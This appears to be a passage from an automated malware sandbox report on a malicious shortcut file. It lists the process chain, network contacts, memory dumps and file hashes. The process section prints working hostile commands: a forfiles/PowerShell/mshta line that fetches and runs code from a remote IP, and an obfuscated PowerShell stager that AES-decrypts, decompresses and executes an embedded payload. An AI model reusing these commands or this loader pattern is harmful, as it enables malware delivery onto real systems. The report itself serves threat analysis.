| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\05ef3c21d0ec7a856038e43c38032104948a535078649721b790548bf3260e28.lnk
C:\Windows\System32\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
start mshta http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ivXRRY = 'AAAAAAAAAAAAAAAAAAAAAHuMmso1AMeYPTqg2zmFYGLRAevBF0dzIBqwjcA2oQ2m8+KngkChOWPmpzxbUmz9iES2+wmHBDF4NNikX/9SA+8RZl3cvQDF00jQ0YmFtDKSgyA9b4/phWWKAp1Dd8/ytR6dOWK+gl5jA/RW80HrzF8zwxTzeNjzEdYIbAKbgIvUzpdq1PfpNgSDcrLwnf6wYoWXaDo+4f2SPpaJvd5bWGTy1EJj8FAnhAlSK/pbposi/hrdUPIRQvxHXKQQXZlr5NrPpLbhHHu78ydc6wwTCvZk77DaGi39y5qB230ZYk/e7tV27V3q01tqCxdx3tBcSKA7uAMyX8Ey/mjlsAOXbJ57iEolFiQtMkeLXRQnHlGQAom0cfG+TD7Cm01qvC5pMEeNJbLbciSdu9xs9T+c7tPx+xBYuPOvZFzYMN57JaeaZXehvSTkRY2hC6KnLkyRSwtTIKg1U8Ib7rr08szQWfdMaxRKVj3PGI/wQuxJ+WJA8tcTFqvoG6e88+mNmfdwt98gTMZWjCMtvnf4CBc92ueyM5vs56/2u+UVEJzepZUpK8lTTQTWjY1hlOFe0emGmyht+KS1zFSwWZBbRyNt0o5Dy9xG4GYyKw+ZUF5kF4SxYX6Yv7NLLkRJ1zA1vynUhhQD0GSeGUgNQ+quSJnyFSiEdpEa8NFWaep0COP5xyMiCOqi/EypECYLwCKEOwNqBqZ0/BjRXs3On8DJzDn994w83i+XNhIcnKswDJ1rV9Alxlwmt19nbz+Dn58l/ZcLWwvS6I+mTp8UBEk0CSxgzPNb8mX3rVtEvxZVuhLJa7/XWLcWSIGEtaXWpgRM/SbMXkdj7MO7V+BRMP1qf/dcU/TUhY1lotTnnHCHRFeLb1d1';$ftUus = 'ckRTZUh1VlFmVnlTa2luUmVGS3hIRGlVRktJVGF1aEI=';$qOFHjUF = New-Object 'System.Security.Cryptography.AesManaged';$qOFHjUF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qOFHjUF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qOFHjUF.BlockSize = 128;$qOFHjUF.KeySize = 256;$qOFHjUF.Key = [System.Convert]::FromBase64String($ftUus);$svgDF = [System.Convert]::FromBase64String($ivXRRY);$JuzxcfzI = $svgDF[0..15];$qOFHjUF.IV = $JuzxcfzI;$ceTYAICRx = $qOFHjUF.CreateDecryptor();$SsqoZtLKt = $ceTYAICRx.TransformFinalBlock($svgDF, 16, $svgDF.Length - 16);$qOFHjUF.Dispose();$JFlSsSI = New-Object System.IO.MemoryStream( , $SsqoZtLKt );$wBZvtko = New-Object System.IO.MemoryStream;$pFgGcVXpX = New-Object System.IO.Compression.GzipStream $JFlSsSI, ([IO.Compression.CompressionMode]::Decompress);$pFgGcVXpX.CopyTo( $wBZvtko );$pFgGcVXpX.Close();$JFlSsSI.Close();[byte[]] $xIpqeQj = $wBZvtko.ToArray();$BomjpubV = [System.Text.Encoding]::UTF8.GetString($xIpqeQj);$BomjpubV | powershell -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Network
| Country | Destination | Domain | Proto |
| NL | 91.92.251.35:80 | 91.92.251.35 | tcp |
Files
memory/2468-40-0x000000001B760000-0x000000001BA42000-memory.dmp
memory/2468-41-0x0000000001D90000-0x0000000001D98000-memory.dmp
memory/2468-43-0x0000000002924000-0x0000000002927000-memory.dmp
memory/2468-42-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp
memory/2468-45-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp
memory/2468-44-0x0000000002920000-0x00000000029A0000-memory.dmp
memory/2468-46-0x0000000002920000-0x00000000029A0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | e7e999130df882fd5027d857b21f2526 |
| SHA1 | c100ff6c70e3e8be70c2045aa4ba1bc3834006ed |
| SHA256 | 7d9ff825b357ce14f5a689ff8b99e6b92457296a83de2e0f01c6070909433af7 |
| SHA512 | 9591541885a94e97d36c693fe49a64c6be315e9d45eb46350bd5e1e482dcc8d14159f8f6175ef1ed87c81f686b938fa354f2b83b82c34f0c29197fd8dbd7c6ac |
memory/2548-54-0x000000001B590000-0x000000001B872000-memory.dmp
memory/2548-57-0x0000000002810000-0x0000000002818000-memory.dmp
memory/2548-56-0x00000000028E0000-0x0000000002960000-memory.dmp
memory/2548-55-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2548-58-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2548-61-0x00000000028E0000-0x0000000002960000-memory.dmp
memory/2548-60-0x00000000028E0000-0x0000000002960000-memory.dmp
memory/2548-59-0x00000000028E0000-0x0000000002960000-memory.dmp
memory/2080-67-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2080-68-0x0000000002B80000-0x0000000002C00000-memory.dmp
memory/2080-70-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2080-71-0x0000000002B84000-0x0000000002B87000-memory.dmp
memory/2080-69-0x0000000002B8B000-0x0000000002BF2000-memory.dmp
memory/2080-72-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2548-73-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp
memory/2468-74-0x0000000002920000-0x00000000029A0000-memory.dmp